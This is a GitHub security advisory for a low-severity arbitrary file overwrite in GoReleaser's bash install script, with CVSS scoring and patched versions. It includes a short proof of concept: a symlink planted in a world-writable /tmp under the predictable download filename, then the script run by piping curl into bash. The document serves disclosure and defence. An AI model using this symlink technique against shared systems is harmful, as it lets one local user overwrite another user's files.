Skip to content

Arbitrary file overwrite vulnerability in in www/docs/static/run

Low
caarlos0 published GHSA-2fvp-53hw-f9fc Jun 15, 2023

Package

goreleaser.com/static/run (Shell)

Affected versions

97db97df8763931bbe0760d28b54dbfc539927c1

Patched versions

265148c6612aeb5a3e9602738955c2ffa2569f33

Description

Summary

Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.

The goreleaser.com/static/run script allows local users to overwrite arbitrary files to which the user running the script has write access to.

Detail,

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

This vulnerability is enabled when the TMPDIR environment variable is set and non-empty, and pointing to a directory having unrestrictive permissions, such as when/if it is set to the system temporary directory, which is typically world writable.

By placing a symlink having the predictable filename in such a directory the run script ends up downloading, any local user can cause overwriting any file to which the user running the vulnerable script has write access to.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

On a Linux x86_64 system:

$ export TMPDIR=/tmp
$ echo "Hello, world." >"$TMPDIR/canary.txt"
$ ln -s canary.txt "$TMPDIR/goreleaser_Linux_x86_64.tar.gz"  # to be done as some other user
$ curl -sfL https://goreleaser.com/static/run | bash  # per https://goreleaser.com/install/#bash-script
Using the OSS distribution...
Downloading GoReleaser v1.18.2...
Verifying checksums...
Could not verify signatures, cosign is not installed.
  • starting release...
  • could not find a config file, using defaults...
  • loading environment variablesgoreleaser_Linux_x86_64.tar.gz
  ⨯ release failed after 0s                  error=missing GITHUB_TOKEN, GITLAB_TOKEN and GITEA_TOKEN
$ stat --printf="%s\n" "$TMPDIR/canary.txt"
16905476
$ sha256sum "$TMPDIR/canary.txt" 
811e0c63e347f78f3c8612a19ca8eeb564eb45f0265ce3f38aec39c8fdbcfa10  /tmp/canary.txt
# matches sha256sum of goreleaser_Linux_x86_64.tar.gz from the 1.18.2 release

Impact

What kind of vulnerability is it? Who is impacted?

Arbitrary file overwrite, anyone running the said script in an environment where the TMPDIR env var points to a dir with unrestrictive permissions.

Severity

Low
3.3
/ 10

CVSS base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

CVE ID

No known CVE

Weaknesses

Credits